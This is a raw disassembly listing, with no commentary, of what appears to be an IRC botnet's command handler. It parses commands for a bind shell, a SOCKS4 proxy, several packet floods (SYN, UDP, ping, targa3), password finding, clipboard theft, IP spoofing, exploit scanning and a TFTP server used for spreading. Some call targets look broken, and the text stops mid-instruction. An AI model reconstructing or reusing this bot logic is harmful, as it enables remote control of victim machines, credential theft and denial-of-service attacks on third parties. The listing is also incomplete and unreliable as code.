mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40292F mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401F75 add ecx, 3 mov [eax], ecx loc_402961: ; CODE XREF: sub_401ACD+C9Dj mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095F2 push edi push offset aRn ; "rn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095F2 push edi push offset aDi3 ; "di3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4049B3 push edi push offset aDi3 ; "di3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4049B3 push edi push offset aLogout ; "logout" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404911 push edi push offset aLo ; "lo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404911 push edi push offset aVersion ; "version" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404902 push edi push offset aVer ; "ver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404902 push edi push offset aRulez ; "rulez" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048F8 push edi push offset aRz ; "rz" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048F8 push edi push offset aSpeedtest ; "speedtest" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048DF push edi push offset aSt ; "st" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048DF push edi push offset aSecure ; "secure" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aSec ; "sec" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aUnsecure ; "unsecure" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aUnsec ; "unsec" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aBindshell ; "bindshell" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4046DB push edi push offset aBd ; "bd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4046DB push edi push offset aBindshellstop ; "bindshellstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402B0E push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42CA08 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402B0E: ; CODE XREF: sub_401ACD+1027j push edi push offset aSocks4 ; "socks4" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045B9 push edi push offset aS4 ; "s4" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045B9 push edi push offset aSocks4stop ; "socks4stop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402B61 push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42C9E0 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402B61: ; CODE XREF: sub_401ACD+107Aj push edi push offset aRloginstop ; "rloginstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402B8A push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42C9C4 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402B8A: ; CODE XREF: sub_401ACD+10A3j push edi push offset aHttpstop ; "httpstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402BB3 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42C9A8 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402BB3: ; CODE XREF: sub_401ACD+10CCj push edi push offset aLogstop ; "logstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402BDC push [ebp+esi+var_8C] push 25h push offset dword_42C994 push offset dword_42C988 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402BDC: ; CODE XREF: sub_401ACD+10F5j push edi push offset aRedirectstop ; "redirectstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C05 push [ebp+esi+var_8C] push 18h push offset dword_42C968 push offset dword_42C958 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C05: ; CODE XREF: sub_401ACD+111Ej push edi push offset dword_42C94C call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C2E push [ebp+esi+var_8C] push 0Dh push offset dword_42C940 push offset dword_42C934 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C2E: ; CODE XREF: sub_401ACD+1147j push edi push offset aSynstop ; "synstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C57 push [ebp+esi+var_8C] push 0Eh push offset dword_42C920 push offset dword_42C914 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C57: ; CODE XREF: sub_401ACD+1170j push edi push offset aSkysynstop ; "skysynstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C80 push [ebp+esi+var_8C] push 10h push offset dword_42C8F8 push offset dword_42C8E8 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C80: ; CODE XREF: sub_401ACD+1199j push edi push offset aTarga3stop ; "targa3stop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402CA9 push [ebp+esi+var_8C] push 11h push offset dword_42C8CC push offset dword_42C8BC jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402CA9: ; CODE XREF: sub_401ACD+11C2j push edi push offset aWonkstop ; "wonkstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402CD2 push [ebp+esi+var_8C] push 12h push offset dword_42C8A4 push offset dword_42C898 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402CD2: ; CODE XREF: sub_401ACD+11EBj push edi push offset aPacketstop ; "packetstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402E28 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42C940 push offset dword_42C934 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 0Eh push offset dword_42C920 push offset dword_42C914 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 17h push offset dword_42C880 push offset dword_42C874 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 16h push offset dword_42C868 push offset dword_42C85C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 11h push offset dword_42C8CC push offset dword_42C8BC push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 12h push offset dword_42C8A4 push offset dword_42C898 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 0Fh push offset dword_42C84C push offset dword_42C83C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 13h push offset dword_42C82C push offset dword_42C81C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 10h push offset dword_42C8F8 push offset dword_42C8E8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push ebx push [ebp+var_4] push offset unk_42C7E8 push [ebp+var_88] push edi call sub_409869 add esp, 34h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_402E28: ; CODE XREF: sub_401ACD+1214j push edi push offset aTsunamistop ; "tsunamistop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402E51 push [ebp+esi+var_8C] push 0Fh push offset dword_42C84C push offset dword_42C83C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402E51: ; CODE XREF: sub_401ACD+136Aj push edi push offset aWisdomstop ; "wisdomstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402E7A push [ebp+esi+var_8C] push 13h push offset dword_42C82C push offset dword_42C81C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402E7A: ; CODE XREF: sub_401ACD+1393j push edi push offset aUdpstop ; "udpstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402EA3 push [ebp+esi+var_8C] push 17h push offset dword_42C880 push offset dword_42C874 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402EA3: ; CODE XREF: sub_401ACD+13BCj push edi push offset aPingstop ; "pingstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402ECC push [ebp+esi+var_8C] push 16h push offset dword_42C868 push offset dword_42C85C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402ECC: ; CODE XREF: sub_401ACD+13E5j push edi push offset aTftpstop ; "tftpstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402EF5 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42C7A0 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402EF5: ; CODE XREF: sub_401ACD+140Ej push edi push offset aFindfilestop ; "findfilestop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045A1 push edi push offset aFfstop ; "ffstop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045A1 push edi push offset aProcsstop ; "procsstop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404589 push edi push offset aPsstop ; "psstop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404589 push edi push offset aClonestop ; "clonestop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402F72 push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42C750 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402F72: ; CODE XREF: sub_401ACD+148Bj push edi push offset aSecurestop ; "securestop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402F9B push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42C72C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402F9B: ; CODE XREF: sub_401ACD+14B4j push edi push offset aScanstop ; "scanstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402FC4 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42C70C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402FC4: ; CODE XREF: sub_401ACD+14DDj push edi push offset aScanstats ; "scanstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404573 push edi push offset aStats ; "stats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404573 push edi push offset aTransferstats ; "transferstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40455D push edi push offset aTrstats ; "trstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40455D push edi push offset aConnectbacksta ; "connectbackstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404547 push edi push offset aCbstats ; "cbstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404547 push edi push offset aExploitlist ; "exploitlist" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404531 push edi push offset aExplist ; "explist" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404531 push edi push offset aReconnect ; "reconnect" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404512 push edi push offset aR ; "r" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404512 push edi push offset aDisconnect ; "disconnect" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044F0 push edi push offset aDc ; "dc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044F0 push edi push offset aQuit_0 ; "quit" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044A8 push edi push offset aQ ; "q" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044A8 push edi push offset aStatus ; "status" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404494 push edi push offset aS_0 ; "s" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404494 push edi push offset aId ; "id" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40445D push edi push offset aI ; "i" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40445D push edi push offset aR3start ; "r3start" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_403190 call sub_418884 test eax, eax mov eax, offset unk_42C64C jnz short loc_403162 mov eax, offset unk_42C628 loc_403162: ; CODE XREF: sub_401ACD+168Ej push eax lea eax, [ebp+var_2C4] push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 1Ch jmp loc_4082DE ; --------------------------------------------------------------------------- loc_403190: ; CODE XREF: sub_401ACD+1680j push edi push offset aThreads ; "threads" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40437E push edi push offset aT ; "t" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40437E push edi push offset aAliases ; "aliases" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40435B push edi push offset aAl ; "al" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40435B push edi push offset aLog ; "log" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404268 push edi push offset aLg ; "lg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404268 push edi push offset aClearlog ; "clearlog" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40424C push edi push offset aClg ; "clg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40424C push edi push offset aNetinfo ; "netinfo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404212 push edi push offset aNi ; "ni" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404212 push edi push offset aSysinfo ; "sysinfo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041E7 push edi push offset aSi ; "si" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041E7 push edi push offset aKosomaky4d ; "KOSOMAKY4D" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041AD push edi push offset aKosomaky4d ; "KOSOMAKY4D" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041AD push edi push offset aProcs ; "procs" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40408D push edi push offset aPs ; "ps" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40408D push edi push offset aUptime ; "uptime" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404005 push edi push offset aUp ; "up" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404005 push edi push offset aDriveinfo ; "driveinfo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FE8 push edi push offset aDrv ; "drv" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FE8 push edi push offset aTestdlls ; "testdlls" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FCF push edi push offset aDll ; "dll" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FCF push edi push offset aOpencmd ; "opencmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F5B push edi push offset aOcmd ; "ocmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F5B push edi push offset aCmdstop ; "cmdstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4033B1 push [ebp+esi+var_8C] push 0Ah push offset dword_42C574 push offset dword_42C568 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_4033B1: ; CODE XREF: sub_401ACD+18CAj push edi push offset dword_42C564 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4034C7 cmp [ebp+var_8], ebx jnz short loc_4033E5 push ebx push [ebp+var_4] push offset dword_42C550 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4033E5: ; CODE XREF: sub_401ACD+18FCj mov eax, [ebp+arg_18] xor edi, edi mov [ebp+arg_18], eax jmp short loc_4033F2 ; --------------------------------------------------------------------------- loc_4033EF: ; CODE XREF: sub_401ACD+196Cj mov eax, [ebp+arg_18] loc_4033F2: ; CODE XREF: sub_401ACD+1920j cmp [eax], bl jz short loc_4033F9 inc eax jmp short loc_4033FE ; --------------------------------------------------------------------------- loc_4033F9: ; CODE XREF: sub_401ACD+1927j mov eax, offset aEmpty ; "<Empty>" loc_4033FE: ; CODE XREF: sub_401ACD+192Aj push eax push edi lea eax, [ebp+var_2C4] push offset aD_S ; "%d. %s" push eax call sub_41C266 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add [ebp+arg_18], 80h add esp, 24h inc edi cmp edi, 3 jl short loc_4033EF push offset unk_42C520 call sub_415D38 pop ecx loc_403446: ; CODE XREF: sub_401ACD+1BFDj ; sub_401ACD+2EFAj mov edi, [ebp+esi+var_8C] cmp edi, ebx mov [ebp+arg_20], edi jz loc_401F75 push [ebp+arg_8] push offset aSpoof ; "spoof" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_404AAB push offset aOff ; "off" push edi call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4049D9 lea eax, [ebp+var_2C4] push offset unk_42C4EC push eax mov dword_4CF180, ebx call sub_41C266 pop ecx pop ecx loc_40349D: ; CODE XREF: sub_401ACD+2FD9j cmp [ebp+var_8], ebx jnz loc_409644 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 loc_4034BF: ; CODE XREF: sub_401ACD+7032j add esp, 14h jmp loc_409644 ; --------------------------------------------------------------------------- loc_4034C7: ; CODE XREF: sub_401ACD+18F3j push edi push offset aGetclip ; "getclip" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F1A push edi push offset aGc ; "gc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F1A push edi push offset aFlusharp ; "flusharp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F03 push edi push offset aFarp ; "farp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F03 push edi push offset aFlushdns ; "flushdns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403ECB push edi push offset aFdns ; "fdns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403ECB push edi push offset aCurrentip ; "currentip" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403E91 push edi push offset aCip ; "cip" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403E91 push edi push offset aRloginserver ; "rloginserver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403D56 push edi push offset aRlogin ; "rlogin" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403D56 push edi push offset aHttpserver ; "httpserver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403BCA push edi push offset aHttp ; "http" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403BCA push edi push offset aTftpserver ; "tftpserver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403A90 push edi push offset aTftp ; "tftp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403A90 push edi push offset aShitycrash ; "shitycrash" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_403653 lea eax, [ebp+var_2C4] push offset unk_42C444 push eax call sub_41C266 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403632 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_403632: ; CODE XREF: sub_401ACD+1B47j lea eax, [ebp+var_2C4] push eax call sub_415D38 mov [esp+10h+var_10], offset aShitycrash ; "shitycrash" push [ebp+esi+var_7C] call sub_41CA50 jmp loc_4097D0 ; --------------------------------------------------------------------------- loc_403653: ; CODE XREF: sub_401ACD+1B2Fj push edi push offset aAsc ; "asc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403789 push edi push offset aAs ; "as" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403789 push edi push offset aPhonehome ; "phonehome" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4036AA lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI Are You T"... push [ebp+arg_4] call sub_409823 loc_4036A2: ; CODE XREF: sub_401ACD+47Bj add esp, 0Ch jmp loc_401F75 ; --------------------------------------------------------------------------- loc_4036AA: ; CODE XREF: sub_401ACD+1BBFj push edi push offset aFindpass ; "findpass" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_4036D0 push edi push offset aFp ; "fp" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_403446 loc_4036D0: ; CODE XREF: sub_401ACD+1BECj push [ebp+var_88] lea eax, [ebp+var_FEC] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_FF0], eax mov eax, [ebp+var_4] mov [ebp+var_F68], eax mov eax, [ebp+var_8] mov [ebp+var_F64], eax push offset unk_42C3C4 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B3BA add esp, 18h mov [ebp+var_F6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FF0] push ebx push eax push offset sub_4172C1 push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_F6C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403778 loc_403762: ; CODE XREF: sub_401ACD+1CA9j cmp [ebp+var_F60], ebx jnz loc_4082DE push 32h nop call near ptr 2680000h jmp short loc_403762 ; --------------------------------------------------------------------------- loc_403778: ; CODE XREF: sub_401ACD+1C93j nop call near ptr 2680880h push eax push offset unk_42C388 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_403789: ; CODE XREF: sub_401ACD+1B95j ; sub_401ACD+1BAAj mov al, byte_4319DA mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_4319DA jz loc_401F75 mov ecx, edx loc_4037A0: ; CODE XREF: sub_401ACD+1CDBj inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037A0 cmp al, bl jz loc_401F75 mov [ebp+arg_18], edx loc_4037B5: ; CODE XREF: sub_401ACD+1FAEj push 0Bh call sub_40B602 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] mov edx, eax mov eax, 320h add edx, ecx cmp edx, eax jle short loc_403808 push ecx lea eax, [ebp+var_2C4] push offset dword_42C34C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h jmp loc_403A72 ; --------------------------------------------------------------------------- loc_403808: ; CODE XREF: sub_401ACD+1D06j or [ebp+var_730], 0FFFFFFFFh cmp dword_4317F8, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], eax mov [ebp+arg_0], ebx jz short loc_403875 mov eax, [ebp+arg_18] mov esi, offset dword_4317F8 lea edi, [eax-0Ah] loc_40383F: ; CODE XREF: sub_401ACD+1D8Aj lea eax, [esi-28h] push edi push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_40385B inc [ebp+arg_0] add esi, 40h cmp [esi], ebx jnz short loc_40383F jmp short loc_403875 ; --------------------------------------------------------------------------- loc_40385B: ; CODE XREF: sub_401ACD+1D80j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_4317F8[ecx] mov [ebp+var_74C], ecx loc_403875: ; CODE XREF: sub_401ACD+1D65j ; sub_401ACD+1D8Cj cmp [ebp+var_74C], ebx jz loc_403A86 push 10h lea eax, [ebp+var_2D4] pop esi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], esi push [ebp+arg_4] call dword_4CB978 mov al, [ebp+var_8FF] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4CBA60 push eax lea eax, [ebp+var_860] push eax call sub_41BFD0 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov esi, eax lea eax, [ebp+var_860] push eax call sub_41C820 add esp, 14h cmp esi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_40391D loc_4038FB: ; CODE XREF: sub_401ACD+1E4Ej cmp eax, ebx jz short loc_40391D mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41C820 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, esi jl short loc_4038FB loc_40391D: ; CODE XREF: sub_401ACD+1E2Cj ; sub_401ACD+1E30j mov eax, [ebp+arg_4] push [ebp+var_88] mov esi, [ebp+var_4] mov edi, [ebp+var_8] mov [ebp+var_750], eax lea eax, [ebp+var_850] push 80h push eax mov [ebp+var_720], 1 mov [ebp+var_728], esi mov [ebp+var_724], edi call sub_41C360 push offset byte_43DB88 push offset aF ; "#f" call sub_41CA50 add esp, 14h test eax, eax jz short loc_40398A push offset aF ; "#f" lea eax, [ebp+var_7D0] push 80h push eax call sub_41C360 add esp, 0Ch jmp short loc_403990 ; --------------------------------------------------------------------------- loc_40398A: ; CODE XREF: sub_401ACD+1EA0j mov [ebp+var_7D0], bl loc_403990: ; CODE XREF: sub_401ACD+1EBBj cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039A2 mov eax, offset aSequential ; "Sequential" loc_4039A2: ; CODE XREF: sub_401ACD+1ECEj push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C2CC push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset loc_40C600 push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403A2C loc_403A1A: ; CODE XREF: sub_401ACD+1F5Dj cmp [ebp+var_71C], ebx jnz short loc_403A47 push 32h call near ptr 2680000h nop jmp short loc_403A1A ; --------------------------------------------------------------------------- loc_403A2C: ; CODE XREF: sub_401ACD+1F4Bj call near ptr 2680880h nop push eax lea eax, [ebp+var_2C4] push offset unk_42C290 push eax call sub_41C266 add esp, 0Ch loc_403A47: ; CODE XREF: sub_401ACD+1F53j cmp edi, ebx jnz short loc_403A65 push ebx lea eax, [ebp+var_2C4] push esi push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_403A65: ; CODE XREF: sub_401ACD+1F7Cj lea eax, [ebp+var_2C4] push eax call sub_415D38 pop ecx loc_403A72: ; CODE XREF: sub_401ACD+1D36j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_4037B5 jmp loc_401F75 ; --------------------------------------------------------------------------- loc_403A86: ; CODE XREF: sub_401ACD+1DAEj push offset unk_42C258 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_403A90: ; CODE XREF: sub_401ACD+1B05j ; sub_401ACD+1B1Aj push 5 call sub_40B602 test eax, eax pop ecx jle short loc_403AA6 push offset unk_42C238 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_403AA6: ; CODE XREF: sub_401ACD+1FCDj mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403AC9 push eax mov edi, 104h lea eax, [ebp+var_2D54] push edi push eax call sub_41C360 add esp, 0Ch jmp short loc_403ADD ; --------------------------------------------------------------------------- loc_403AC9: ; CODE XREF: sub_401ACD+1FE2j mov edi, 104h lea eax, [ebp+var_2D54] push edi push eax push ebx nop call near ptr 2670000h loc_403ADD: ; CODE XREF: sub_401ACD+1FFAj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403AED mov esi, offset byte_429108 loc_403AED: ; CODE XREF: sub_401ACD+2019j push esi lea eax, [ebp+var_2C50] push edi push eax call sub_41C360 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B44], eax mov eax, [ebp+arg_4] mov [ebp+var_2B48], ebx mov [ebp+var_2D58], eax lea eax, [ebp+var_2B40] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2AC0], eax mov eax, [ebp+var_8] mov [ebp+var_2ABC], eax lea eax, [ebp+var_2D54] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B44] push offset unk_42C204 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_2B4C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D58] push ebx push eax push offset byte_412197 push ebx push ebx call near ptr 2680089h nop mov ecx, [ebp+var_2B4C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403BB9 loc_403BA3: ; CODE XREF: sub_401ACD+20EAj cmp [ebp+var_2AB8], ebx jnz loc_4081AD push 32h nop call near ptr 2680000h jmp short loc_403BA3 ; --------------------------------------------------------------------------- loc_403BB9: ; CODE XREF: sub_401ACD+20D4j nop call near ptr 2680880h push eax push offset unk_42C1C8 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_403BCA: ; CODE XREF: sub_401ACD+1ADBj ; sub_401ACD+1AF0j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403BE9 push edi call sub_41C159 test eax, eax pop ecx jz short loc_403BE9 push edi call sub_41C159 pop ecx jmp short loc_403BEE ; --------------------------------------------------------------------------- loc_403BE9: ; CODE XREF: sub_401ACD+2106j ; sub_401ACD+2111j mov eax, dword_42907C loc_403BEE: ; CODE XREF: sub_401ACD+211Aj mov esi, [ebp+esi+var_88] mov [ebp+var_36CC], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B8], eax jz short loc_403C21 lea 